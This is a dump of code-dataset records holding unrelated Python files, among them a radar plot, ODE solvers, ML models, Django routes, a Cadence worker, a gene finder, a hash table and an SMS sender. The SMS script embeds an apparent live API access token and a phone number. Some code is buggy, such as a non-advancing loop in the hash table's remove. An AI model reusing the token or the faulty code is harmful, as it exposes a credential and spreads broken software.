plt.figure(figsize=[12, 17])\n fig.subplots_adjust(hspace=0.4)\n xlabel = 'Distance from radar (km)'\n ylabel = 'Height agl (km)'\n colorbar_label = 'Hz. Eq. Refl. Fac. (dBZ)'\n\n # plot each RHI\n for snum in radar.sweep_info['sweep_number']['data']:\n\n fixed_angle = radar.sweep_info['fixed_angle']['data'][snum]\n title = 'HSRHI Az=%.3f' % (fixed_angle)\n ax = fig.add_subplot(radar.nsweeps, 1, snum+1)\n display.plot_rhi('reflectivity_horizontal', snum, vmin=-20, vmax=20,\n mask_outside=False, title=title,\n axislabels=(xlabel, ylabel),\n colorbar_label=colorbar_label, ax=ax)\n display.set_limits(ylim=[0, 15], ax=ax)\n\n # add a figure title\n figure_title = 'Time: ' + display.time_begin.isoformat() + 'Z'\n fig.text(0.35, 0.92, figure_title)\n\n # save the figure\n time_text = display.time_begin.strftime('%Y%m%d.%H%M%S')\n fname = args.prefix + time_text + '.png'\n fig.savefig(fname)\n","sub_path":"pyart/graph/examples/plot_cmac2.py","file_name":"plot_cmac2.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"86818556","text":"import numpy as np\r\n\r\ndef solver(I, w, dt, T):\r\n \"\"\"\r\n Solve v' = - w**2*u, u'=v for t in (0,T], u(0)=I and v(0)=0,\r\n by an Euler-Cromer method.\r\n \"\"\"\r\n dt = float(dt)\r\n Nt = int(round(T/dt))\r\n u = np.zeros(Nt+1)\r\n v = np.zeros(Nt+1)\r\n t = np.linspace(0, Nt*dt, Nt+1)\r\n\r\n v[0] = 0\r\n u[0] = I\r\n for n in range(0, Nt):\r\n v[n+1] = v[n] - dt*w**2*u[n]\r\n u[n+1] = u[n] + dt*v[n+1]\r\n return u, v, t\r\n\r\ndef solver_ic_fix(I, w, dt, T):\r\n \"\"\"\r\n Solve v' = - w**2*u, u'=v for t in (0,T], u(0)=I and v(0)=0,\r\n by an Euler-Cromer method. Fix the initial condition for\r\n v such that the scheme becomes fully equivalent to the centered\r\n scheme for the corresponding 2nd order ODE u'' + u = 0.\r\n \"\"\"\r\n dt = float(dt)\r\n Nt = int(round(T/dt))\r\n u = np.zeros(Nt+1)\r\n v = np.zeros(Nt+1)\r\n t = np.linspace(0, Nt*dt, Nt+1)\r\n\r\n v[0] = 0\r\n u[0] = I\r\n for n in range(0, Nt):\r\n if n == 0:\r\n v[1] = v[0] - 0.5*dt*w**2*u[n]\r\n else:\r\n v[n+1] = v[n] - dt*w**2*u[n]\r\n u[n+1] = u[n] + dt*v[n+1]\r\n return u, v, t\r\n\r\ndef test_solver():\r\n \"\"\"\r\n Test solver with fixed ic against equivalent scheme for\r\n the 2nd-order ODE u'' + u = 0.\r\n \"\"\"\r\n I = 1.2; w = 2.0; T = 5\r\n dt = 2/w # longest possible time step\r\n u, v, t = solver_ic_fix(I, w, dt, T)\r\n from vib_undamped import solver as solver2 # 2nd-order ODE\r\n u2, t2 = solver2(I, w, dt, T)\r\n error = np.abs(u - u2).max()\r\n tol = 1E-14\r\n assert error < tol\r\n\r\ndef demo():\r\n \"\"\"\r\n Demonstrate difference between Euler-Cromer and the\r\n scheme for the corresponding 2nd-order ODE.\r\n \"\"\"\r\n I = 1.2; w = 2.0; T = 5\r\n dt = 2/w # longest possible time step\r\n from vib_undamped import solver as solver2 # 2nd-order ODE\r\n import scitools.std as plt\r\n for k in range(4):\r\n dt /= 4\r\n u2, t2 = solver2(I, w, dt, T)\r\n u, v, t = solver(I, w, dt, T)\r\n plt.figure()\r\n plt.plot(t, u, t2, u2,\r\n legend=('Euler-Cromer',\r\n 'center scheme for $u''+u=0$'),\r\n title='dt=%.3g' % dt)\r\n raw_input()\r\n plt.savefig('ECvs2nd_%d' % k + '.png')\r\n plt.savefig('ECvs2nd_%d' % k + '.pdf')\r\n\r\nif __name__ == '__main__':\r\n test_solver()\r\n demo()\r\n","sub_path":"FDV/vib_EulerCromer.py","file_name":"vib_EulerCromer.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"483654444","text":"import sys\nimport os\nfrom numpy import *\nfrom scipy.linalg import *\nfrom scipy.sparse import *\nfrom scipy.io import * \nfrom pyspark import SparkContext\nimport logging\n\nif len(sys.argv) < 6:\n print >> sys.stderr, \\\n \"(sta) usage: sta \"\n exit(-1)\n\ndef parseVector(line):\n\tvec = [float(x) for x in line.split(' ')]\n\tts = array(vec[3:])\n\t#ts = (ts - mean(ts))/std(ts)\n\tmed = median(ts)\n\tts = (ts - med) / (med)\n\tts = (ts - mean(ts)) / std(ts)\n\treturn ts\n\n# parse inputs\nsc = SparkContext(sys.argv[1], \"sta\")\ninputFile_A = str(sys.argv[2])\ninputFile_y = str(sys.argv[3])\nmxLag = int(sys.argv[5])\noutputFile = str(sys.argv[4]) + \"-sta-mxLag-\" + str(mxLag)\nlags = arange(2*mxLag) - floor(2*mxLag/2)\nif not os.path.exists(outputFile):\n os.makedirs(outputFile)\nlogging.basicConfig(filename=outputFile+'/'+'stdout.log',level=logging.INFO,format='%(asctime)s %(message)s',datefmt='%m/%d/%Y %I:%M:%S %p')\n\n# parse data\nlogging.info(\"(sta) loading data\")\nlines_A = sc.textFile(inputFile_A)\nlines_y = sc.textFile(inputFile_y)\ny = array([float(x) for x in lines_y.collect()[0].split(' ')])\ny = (y - mean(y))/std(y)\nA = lines_A.map(parseVector).cache()\n\n# compute sta\nfor lag in lags:\n\tlogging.info('(sta) computing sta with time lag ' + str(lag))\n\tsta = A.map(lambda x : mean(x * roll(y,int(lag))))\n\tlogging.info('(sta) saving results...')\n\tnm = str(int(lag))\n\tif (lag < 0):\n\t\tnm = \"n\" + nm[1:]\n\tsavemat(outputFile+\"/\"+\"sta-lag-\"+nm+\".mat\",mdict={'sta':sta.collect()},oned_as='column',do_compression='true')\n\t#savetxt(outputFile+\"/\"+\"sta-lag-\"+nm+\".txt\",sta.collect(),fmt='%.4f')\n","sub_path":"python/sta.py","file_name":"sta.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"373706075","text":"import torch\nimport torch.nn.functional as F\nimport numpy as np\n\ndef create_linear_torch(input_dims,output_dims,relu=True,batch_norm=False):\n layers = []\n lin = torch.nn.Linear(input_dims,output_dims)\n layers.append(lin)\n if batch_norm:\n layers.append(torch.nn.BatchNorm1d(output_dims))\n if relu:\n layers.append(torch.nn.ReLU())\n return torch.nn.Sequential(*layers)\n\nclass TorchEstimator(torch.nn.Module):\n def __init__(self,view_range,move_range,attack_range):\n super(TorchEstimator,self).__init__()\n view_range = (1 + view_range*2)**2\n move_range = (1 + move_range*2)**2\n attack_range = (1 + attack_range*2)**2\n self.linear = create_linear_torch(3*view_range,32)\n self.linear2 = create_linear_torch(32,16)\n self.linear3 = create_linear_torch(16,move_range + attack_range,relu=False)\n self.softmax = torch.nn.Softmax(dim=-1)\n\n def forward(self,x):\n x = self.linear(x)\n x = self.linear2(x)\n x = self.linear3(x)\n x = self.softmax(x)\n return x\n","sub_path":"multiagentbattlesim/src/Models.py","file_name":"Models.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"494799828","text":"from django.urls import path\nfrom RMenu import views\n\nurlpatterns=[\n path('home/',views.home,name = \"home\" ),\n path('restaurant/',views.restaurant,name = \"restaurant\"),\n path('restaurant_detail//',views.restaurant_detail,name = \"restaurant_detail\"),\n path('restaurant//delete/',views.delete_res,name =\"delete_res\"),\n path('dish//delete/',views.delete_dish,name =\"delete_dish\"),\n path('restaurant//dishes/', views.dishes, name = \"dish\"),\n path('restaurant//review/',views.res_rev,name = \"res_rev\"),\n path('dish//review_dish/',views.dish_rev, name = \"rev_dish\"),\n path('add_dish/',views.add_dish, name = \"add_dish\"),\n path('add_restaurant/',views.add_restaurant, name = \"add_restaurant\"),\n path('add_res_rev/',views.add_res_rev, name = \"add_res_rev\"),\n path('user_detail/',views.user_detail,name = \"user_detail\"),\n path('dish_detail/',views.dish_detail,name = \"dish_detail\"),\n]","sub_path":"midterm/RMenu/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"30889285","text":"import datetime\nimport logging\nimport json\n\nfrom cadence.activity import ActivityContext\nfrom cadence.cadence_types import PollForActivityTaskRequest, TaskListMetadata, TaskList, PollForActivityTaskResponse, \\\n RespondActivityTaskCompletedRequest, RespondActivityTaskFailedRequest\nfrom cadence.conversions import json_to_args\nfrom cadence.workflowservice import WorkflowService\nfrom cadence.worker import Worker\n\nlogger = logging.getLogger(__name__)\n\n\ndef activity_task_loop(worker: Worker):\n service = WorkflowService.create(worker.host, worker.port)\n logger.info(f\"Activity task worker started: {WorkflowService.get_identity()}\")\n try:\n while True:\n if worker.is_stop_requested():\n return\n try:\n polling_start = datetime.datetime.now()\n polling_request = PollForActivityTaskRequest()\n polling_request.task_list_metadata = TaskListMetadata()\n polling_request.task_list_metadata.max_tasks_per_second = 200000\n polling_request.domain = worker.domain\n polling_request.identity = WorkflowService.get_identity()\n polling_request.task_list = TaskList()\n polling_request.task_list.name = worker.task_list\n task: PollForActivityTaskResponse\n task, err = service.poll_for_activity_task(polling_request)\n polling_end = datetime.datetime.now()\n logger.debug(\"PollForActivityTask: %dms\", (polling_end - polling_start).total_seconds() * 1000)\n except Exception as ex:\n logger.error(\"PollForActivityTask error: %s\", ex)\n continue\n if err:\n logger.error(\"PollForActivityTask failed: %s\", err)\n continue\n if not task.task_token:\n logger.debug(\"PollForActivityTask has no task_token (expected): %s\", task)\n continue\n\n args = json_to_args(task.input)\n logger.info(f\"Request for activity: {task.activity_type.name}\")\n fn = worker.activities.get(task.activity_type.name)\n if not fn:\n logger.error(\"Activity type not found: \" + task.activity_type.name)\n continue\n\n process_start = datetime.datetime.now()\n activity_context = ActivityContext()\n activity_context.task_token = task.task_token\n activity_context.workflow_execution = task.workflow_execution\n activity_context.domain = worker.domain\n try:\n ActivityContext.set(activity_context)\n ret = fn(*args)\n ActivityContext.set(None)\n respond = RespondActivityTaskCompletedRequest()\n respond.task_token = task.task_token\n respond.result = json.dumps(ret)\n respond.identity = WorkflowService.get_identity()\n _, error = service.respond_activity_task_completed(respond)\n if error:\n logger.error(\"Error invoking RespondActivityTaskCompleted: %s\", error)\n logger.info(f\"Activity {task.activity_type.name}({str(args)[1:-1]}) returned {respond.result}\")\n except Exception as ex:\n logger.error(f\"Activity {task.activity_type.name} failed: {type(ex).__name__}({ex})\", exc_info=1)\n respond: RespondActivityTaskFailedRequest = RespondActivityTaskFailedRequest()\n respond.task_token = task.task_token\n respond.identity = WorkflowService.get_identity()\n respond.details = json.dumps({\n \"detailMessage\": f\"Python error: {type(ex).__name__}({ex})\",\n \"class\": \"java.lang.Exception\"\n })\n respond.reason = \"java.lang.Exception\"\n _, error = service.respond_activity_task_failed(respond)\n if error:\n logger.error(\"Error invoking RespondActivityTaskFailed: %s\", error)\n\n process_end = datetime.datetime.now()\n logger.info(\"Process ActivityTask: %dms\", (process_end - process_start).total_seconds() * 1000)\n finally:\n worker.notify_thread_stopped()\n","sub_path":"cadence/activity_loop.py","file_name":"activity_loop.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"521784128","text":"#!/usr/bin/env python\n\nimport sys\nimport copy\nfrom datetime import datetime, date, time\n\n#A=0,C=1,G=2,T=3\n\nprint (\"Begin at\", str(datetime.now()),file=sys.stderr)\n\n\nstart_codons=['ATG','GTG']\nstop_codons=['TAA','TAG','TGA']\n\nlen_start_codons=len(start_codons)\nlen_stop_codons=len(stop_codons)\n\ndef change_seq_to_num(seq):\n num=[]\n for i in range(len(seq)):\n if seq[i]==\"A\":\n num.append(0)\n if seq[i]==\"C\":\n num.append(1)\n if seq[i]==\"G\":\n num.append(2)\n if seq[i]==\"T\":\n num.append(3) \n return num\n\nstart_codons_in_num=[]\nstop_codons_in_num=[]\ndna_seq_in_num=[]\n\nread_fname = \"NC_002951.fna\" \n\nfor line in open(read_fname):\n line = line.strip()\n if line[0] != '>':\n dna_seq_in_num.extend(change_seq_to_num(line))\n \nlen_of_dna_seq_in_num=len(dna_seq_in_num)\n\n#overlap_file = open(\"lab03.dnas\", \"w\")\n#for i in range(9781,10612):\n# print >> overlap_file, dna_seq_in_num[i], i+1\n#overlap_file.close()\n\n\n\n\nfor codon in range(len(start_codons)):\n start_codons_in_num.append(change_seq_to_num(start_codons[codon]))\n\nfor codon in range(len(stop_codons)):\n stop_codons_in_num.append(change_seq_to_num(stop_codons[codon]))\n\ndef reverse_complement(list):\n reverse_complement_list=[]\n len_of_list=len(list)\n for i in range(len(list)): \n reverse_complement_list.append(3-list[len_of_list-i-1])\n return reverse_complement_list\n\ndef compare_start_codons_with(list):\n for i in range(len_start_codons):\n if list==start_codons_in_num[i]:\n return 1\n return 0\n\ndef compare_stop_codons_with(list):\n for i in range(len_stop_codons):\n if list==stop_codons_in_num[i]:\n return 1\n return 0\n\n\ndef find_ORF_of_len(dna_seq): \n all_ORF=[[],[],[]]\n #input ORF's within one strip\n for i in range(-2,len_of_dna_seq_in_num-2):\n if compare_start_codons_with(dna_seq[i:i+3])==1:\n if len(all_ORF[i%3])==0:\n all_ORF[i%3].append([i,'s'])\n elif all_ORF[i%3][-1][1]!='s':\n all_ORF[i%3].append([i,'s']) \n \n if compare_stop_codons_with(dna_seq[i:i+3])==1:\n if len(all_ORF[i%3])==0:\n all_ORF[i%3].append([i,'e']) \n elif all_ORF[i%3][-1][1]!='e':\n all_ORF[i%3].append([i,'e']) \n \n remainder=len_of_dna_seq_in_num%3\n \n for i in range(3):\n if len(all_ORF[i])!=0:\n if all_ORF[i][0][1]=='s':\n if all_ORF[(i+2)%3][-1][1]=='s':\n all_ORF[i][0][0]=all_ORF[(i+2)%3][-1][0]-len_of_dna_seq_in_num \n all_ORF[(i+2)%3].pop(-1)\n if all_ORF[i][0][1]=='e':\n if all_ORF[(i+2)%3][-1][1]=='e':\n print (\"Two end codons in a row without start codon. Weird\")\n all_ORF[i].pop(0)\n \n ORF_of_min_len=[[],[],[]]\n for i in range(3):\n for j in range(0, int(len(all_ORF[i])/2)):\n if (all_ORF[i][2*j+1][0]-all_ORF[i][2*j][0]+3) >= min_ORF_len:\n ORF_of_min_len[i].append([all_ORF[i][2*j][0]+1,all_ORF[i][2*j+1][0]+3])\n \n return ORF_of_min_len\n \ndef maximal_ORFs(ORFlist):\n max_ORFs=[]\n for i in range(3):\n max_ORFs.extend(ORFlist[i])\n max_ORFs=sorted(max_ORFs, key=lambda ORFs: ORFs[0]) \n# overlap_file = open(\"lab03.ORFs\", \"a\")\n# for i in range(0,len(max_ORFs)):\n# print >> overlap_file, max_ORFs[i],i\n# overlap_file.close()\n# print len(max_ORFs)\n index=[]\n for j in range(len(max_ORFs)-1):\n for k in range(j+1, len(max_ORFs)):\n if max_ORFs[k][1]max_ORFs[j][1]:\n break\n sorted(index)\n# print index\n for i in range(len(index)):\n max_ORFs.pop(index[len(index)-i-1])\n# print len(max_ORFs)\n return max_ORFs\n\ndef reverse(list):\n reverse_list=[]\n temp=[]\n for i in range(len(list)):\n reverse_list.append([len_of_dna_seq_in_num+1-list[len(list)-i-1][0],len_of_dna_seq_in_num+1-list[len(list)-i-1][1]])\n return reverse_list\n\ndef merge(ORF_of_min_len, ORF_of_min_len_reverse):\n len_P=len(ORF_of_min_len)\n len_M=len(ORF_of_min_len_reverse)\n ORFs=[]\n i,j=0,0\n while i = ORF_of_min_len[i][0]:\n ORFs.append([ORF_of_min_len[i][0],ORF_of_min_len[i][1],'+'])\n i=i+1\n if i==len_P:\n break\n if ORF_of_min_len_reverse[j][0] < ORF_of_min_len[i][0]:\n ORFs.append([ORF_of_min_len_reverse[j][0],ORF_of_min_len_reverse[j][1],'-'])\n j=j+1\n break\n if i ORFs[j][3]:\n index[i]+=1\n else:\n print (i, 'and', j, 'have the same chi-square statistics')\n# elif ORFs[i][1]ORFs[j][3]:\n index[i]+=1\n else:\n print (i, 'and', j, 'have the same chi-square statistics' )\n \n\n \ngenes=copy.deepcopy(ORFs)\n \nlen_index=len(index)\nfor i in range(len_index):\n if index[len_index-i-1]>0:\n genes.pop(len_index-i-1)\n \noverlap_file = open(\"lab03.genes\", \"w\")\nfor i in range(len(genes)):\n print(genes[i][4], genes[i][0], genes[i][1], genes[i][2],genes[i][3], file=overlap_file)\noverlap_file.close() \n \n \n#3(c.1)\nread_fname = \"NC_002951.ptt\" \n\nproteins=[]\nfor line in open(read_fname):\n line = line.split()\n proteins.append([line[0],line[1]])\n\nproteinbase=[]\nprotein_stop_codon_location=[]\nfor protein in proteins:\n for i in range(len(protein[0])):\n if protein[0][i:i+2]=='..':\n t1=int(protein[0][0:i])\n t2=int(protein[0][i+2:])\n proteinbase.append([t1,t2,protein[1]])\n if protein[1]=='+':\n protein_stop_codon_location.append(t2)\n else:\n protein_stop_codon_location.append(t1)\n\n\ngene_count=0\nfor i in range(len(genes)):\n stop_codon=genes[i][1]\n for j in range(len(protein_stop_codon_location)):\n if stop_codon==protein_stop_codon_location[j]:\n gene_count+=1\n break\n\n\n \n##3(c.2)\nsensitivity=float(gene_count)/len(proteinbase)\n\n##3(c.3)\nprecision=float(gene_count)/len(genes)\n\noverlap_file = open(\"lab03.counts\", \"w\")\nprint(\"gene count\", gene_count, file=overlap_file)\nprint(\"sensitivity\", sensitivity, file=overlap_file)\nprint( \"precision\", precision, file=overlap_file)\noverlap_file.close()\n\n\n\nprint (\"Ends at\", str(datetime.now()),file=sys.stderr )\n","sub_path":"lab3/hw3_python3.6.py","file_name":"hw3_python3.6.py","file_ext":"py","file_size_in_byte":12759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"303882888","text":"#!/usr/bin/env python\n\n# -*- coding: utf-8 -*-\n\nfrom keras.layers import Conv2D, MaxPooling2D, ZeroPadding2D\nfrom keras.layers import Dense, Activation, Dropout, Flatten\nfrom keras import optimizers\nfrom keras.models import Sequential,load_model\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.layers.normalization import BatchNormalization\nimport numpy as np \nimport os\nimport time\ndp_start=time.time()\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"7\"\n\n\n# step 1: load data\n\nimg_width = 150\nimg_height = 450\nbatch_size = 32\ntrain_data_dir = './data_new/train'\nvalid_data_dir = './data_new/validation'\n\ndatagen = ImageDataGenerator(rescale = 1./255)\n\ntrain_generator = datagen.flow_from_directory(directory=train_data_dir,\n\t\t\t\t\t\t\t\t\t\t\t target_size=(img_width,img_height),\n\t\t\t\t\t\t\t\t\t\t\t classes=['DISO','DLAY','DPID','DSHP','OTHERS','RCRI','RTQM','RZZZ','XXER'],\n\t\t\t\t\t\t\t\t\t\t\t class_mode='categorical',\n\t\t\t\t\t\t\t\t\t\t\t batch_size=32)\n\n\nvalidation_generator = datagen.flow_from_directory(directory=valid_data_dir,\n\t\t\t\t\t\t\t\t\t\t\t target_size=(img_width,img_height),\n\t\t\t\t\t\t\t\t\t\t\t classes=['DISO','DLAY','DPID','DSHP','OTHERS','RCRI','RTQM','RZZZ','XXER'],\n\t\t\t\t\t\t\t\t\t\t\t class_mode='categorical',\n\t\t\t\t\t\t\t\t\t\t\t batch_size=32)\n\n\n# step-2 : build model\n\nmodel =Sequential()\n\nmodel.add(Conv2D(32,(3,3), input_shape=(img_width, img_height, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Conv2D(32,(3,3), input_shape=(img_width, img_height, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Conv2D(64,(3,3), input_shape=(img_width, img_height, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Flatten())\nmodel.add(Dense(512))\n#model.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(9))\nmodel.add(Activation('softmax'))\n\nmodel.compile(loss='categorical_crossentropy',optimizer='rmsprop',metrics=['categorical_accuracy'])\n\nprint('model complied!!')\n\nprint('starting training....')\ntraining = model.fit_generator(generator=train_generator, steps_per_epoch=2048 // 16, epochs=50,validation_data=validation_generator,validation_steps=832//16)\n\nprint('training finished!!')\n\nprint('saving weights to docclassifier_CNN.h5')\n\nmodel.save_weights('./models/docclassifier_CNN.h5')\n\ndp_end=time.time()\nprint('\\n*****Total Time :',round((dp_end-dp_start)/3600,2),'hours OR mins==>',round((dp_end-dp_start)/60,2),'OR in seconds ==>',(dp_end-dp_start))","sub_path":"16Apr2019/Image_model_script.py","file_name":"Image_model_script.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"463113488","text":"# -*- coding: utf-8 -*-\n\nNAME = 'Stuck SciPy'\nCREATOR = 'Kade Robertson'\nVERSION = '1.0'\nDESCR = 'SciPy functions plugin for the Stuck programming language.'\n\nimport numpy\nfrom scipy import linalg\n\ndef minv_(s):\n if type(s[-1]) is list:\n l = numpy.array(s.pop())\n k = linalg.inv(l)\n return s + [k.tolist()]\n\ndef mdet_(s):\n if type(s[-1]) is list:\n l = numpy.array(s.pop())\n k = linalg.det(l)\n return s + [k]\n\nCMDS = { u'İ': minv_, u'Ɗ': mdet_ }\n","sub_path":"plugins/stuck_scipy.py","file_name":"stuck_scipy.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"137667334","text":"# '''\n# Linked List hash table key/value pair\n# '''\nimport hashlib\n\n\nclass Node:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.next = None\n\n def __repr__(self):\n return f'{self.key}: {self.value}'\n\n def delete(self):\n self.key = None \n self.value = None\n if self.next is not None:\n temp_link = self.next\n self.next = None\n return temp_link\n else:\n return None\n\n\nclass LinkedList():\n def __init__(self, node: Node):\n self.head = node\n \n def search_key(self, key):\n current_node = self.head \n if current_node.key == key:\n return current_node\n else:\n while current_node.next is not None:\n # print('searching')\n current_node = current_node.next\n if current_node.key == key:\n return current_node\n return None\n\n def add(self, key, value):\n # print('Adding: ', key, value)\n end = self.head\n while end.next is not None:\n # print('chain node', end.key, end.value)\n end = end.next\n end.next = Node(key, value)\n # print('added node', end.next.key, end.next.value)\n\n def remove(self, key):\n current_node = self.head \n # Check head for key/node deletion\n if current_node.key == key:\n self.head = current_node.delete()\n else:\n while current_node.next is not None:\n next_node = current_node.next\n if next_node.key == key:\n current_node.next = next_node.delete()\n\n raise KeyError('Key Not Found')\n\n def list(self):\n nodes = []\n node = self.head\n while node is not None:\n nodes.append(node)\n node = node.next \n return nodes\n\n\n\n\n\nclass HashTable:\n '''\n A hash table that with `capacity` buckets\n that accepts string keys\n '''\n def __init__(self, capacity):\n self.capacity = capacity # Number of buckets in the hash table\n self.storage = [None] * capacity\n\n\n def __repr__(self):\n return ', '.join([str(node.key) + ': ' + str(node.value) for node in self.list_nodes()])\n\n\n def _hash(self, key):\n '''\n Hash an arbitrary key and return an integer.\n\n You may replace the Python hash with DJB2 as a stretch goal.\n '''\n a = hashlib.md5(key.encode('utf-8'))\n b = a.hexdigest()\n return hash(int(b, 16))\n\n\n def _hash_djb2(self, key):\n '''\n Hash an arbitrary key using DJB2 hash\n\n OPTIONAL STRETCH: Research and implement DJB2\n '''\n pass\n\n\n def _hash_mod(self, key):\n '''\n Take an arbitrary key and return a valid integer index\n within the storage capacity of the hash table.\n '''\n return self._hash(key) % self.capacity\n\n\n def insert(self, key, value):\n '''\n Store the value with the given key.\n\n # Part 1: Hash collisions should be handled with an error warning. (Think about and\n # investigate the impact this will have on the tests)\n\n # Part 2: Change this so that hash collisions are handled with Linked List Chaining.\n\n Fill this in.\n '''\n index = self._hash_mod(key)\n # print('working_index: ', index)\n if self.storage[index] is None:\n self.storage[index] = LinkedList(node = Node(key, value))\n else:\n llist = self.storage[index]\n search = llist.search_key(key)\n if search is None:\n llist.add(key, value)\n else:\n search.value = value\n\n\n def remove(self, key):\n '''\n Remove the value stored with the given key.\n\n Print a warning if the key is not found.\n\n Fill this in.\n '''\n index = self._hash_mod(key)\n if self.storage[index] is None:\n raise KeyError(f'Key Not Found {key} at index {index}')\n else:\n llist = self.storage[index]\n search = llist.search_key(key)\n if search is None:\n raise KeyError(f'Key Not Found {key} at index {index}')\n else:\n search.delete()\n\n def retrieve(self, key):\n '''\n Retrieve the value stored with the given key.\n\n Returns None if the key is not found.\n\n Fill this in.\n '''\n index = self._hash_mod(key)\n if self.storage[index] is None:\n print(f'Head Index {index} is None')\n raise KeyError(f'Key Not Found {key} at index {index}')\n\n else:\n llist = self.storage[index]\n search = llist.search_key(key)\n print('Search Result', search)\n if search is None:\n raise KeyError(f'Key Not Found {key} at index {index}')\n else:\n return search.value\n\n def resize(self):\n '''\n Doubles the capacity of the hash table and\n rehash all key/value pairs.\n\n Fill this in.\n '''\n temp_hash_table = HashTable(capacity = self.capacity * 2)\n for node in self.list_nodes():\n print('moving node ', node.key, node.value)\n temp_hash_table.insert(node.key, node.value)\n self.storage = temp_hash_table.storage\n self.capacity = temp_hash_table.capacity\n\n def list_nodes(self):\n nodes = []\n for llist in self.storage:\n if llist is not None:\n for node in llist.list():\n nodes.append(node)\n print(nodes)\n return nodes\n\n\nif __name__ == \"__main__\":\n ht = HashTable(2)\n\n ht.insert(\"line_1\", \"Tiny hash table\")\n ht.insert(\"line_2\", \"Filled beyond capacity\")\n ht.insert(\"line_3\", \"Linked list saves the day!\")\n\n # print(\"Hash Table: \", ht.storage[0].head, ht.storage[1].head)\n\n # Test storing beyond capacity\n print(ht.retrieve(\"line_1\"))\n print(ht.retrieve(\"line_2\"))\n print(ht.retrieve(\"line_3\"))\n\n # Test resizing\n old_capacity = len(ht.storage)\n ht.resize()\n new_capacity = len(ht.storage)\n\n print(f\"\\nResized from {old_capacity} to {new_capacity}.\\n\")\n\n print(ht)\n\n # Test if data intact after resizing\n print(ht.retrieve(\"line_1\"))\n print(ht.retrieve(\"line_2\"))\n print(ht.retrieve(\"line_3\"))\n\n print(\"\")\n","sub_path":"src/hashtable.py","file_name":"hashtable.py","file_ext":"py","file_size_in_byte":6432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"296186166","text":"import response\r\nimport requests\r\nimport json\r\nimport argparse \r\nimport xlrd\r\n\r\naccess_token = \"xn97jQF-WjA6dRjv0mpKIkin45nqixZx\"\r\nworkbook = xlrd.open_workbook(\"Contacts.xls\")\r\nsheet = workbook.sheet_by_index(0)\r\n\r\ndef content_for_donated(stt):\r\n value = sheet.row_values(stt)\r\n name = value [2]\r\n print (round(value[0]))\r\n content = \"Thân gửi gia đình anh chị \" + name + \", Đơn hàng đã được gửi giao đến cho anh chị, nếu anh chị đã nhận được hàng vui lòng trả lời tin nhắn YES, nếu chưa nhận được thì trả lời tin nhắn là NO\"\r\n return content\r\n## Lấy content theo số thứ tự trong danh sách liên lạc\r\ndef get_info(): \r\n response_info = requests.get(\"https://api.speedsms.vn/index.php/user/info?access-token=\" + access_token)\r\n print (response_info.status_code)\r\n print (response_info)\r\n data_dict = response_info.json()\r\n print (data_dict)\r\n print (\" Số dư hiện tại: \" + str(data_dict[\"data\"][\"balance\"]) + \" VNĐ\")\r\n\r\n## Lấy số dư từ tài khoản hiện tại\r\ndef sending_verify_sms(stt,sms_type,brandname):\r\n value = sheet.row_values(stt)\r\n phone_number = str(round(value[0]))\r\n\r\n content = content_for_donated(stt)\r\n\r\n response_sending = requests.get(\"https://api.speedsms.vn/index.php/sms/send?access-token=\" +access_token + \"&to=\"+ phone_number+ \"&content=\"+content+\"&type=\"+sms_type +\"&sender=\" +brandname)\r\n print (response_sending.status_code)\r\n print (response_sending.json())\r\n## Gửi tin nhắn đến người nhận donate\r\n\r\ndef sending_all_verify_sms():\r\n for i in range (1, sheet.nrows):\r\n sending_sms(i, \"2\", \"0931365963\")\r\n\r\nsending_verify_sms(3,\"2\", \"0931365963\")\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"sms/process_sms.py","file_name":"process_sms.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"566899041","text":"# coding=utf-8\r\n#!/usr/bin/env python\r\n#\r\n# Copyright 2010 Felipe Hoffa\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\nimport datetime\r\nimport logging\r\nimport math\r\nfrom sets import Set\r\n\r\nfrom google.appengine.ext import db\r\nfrom google.appengine.ext import webapp\r\nfrom 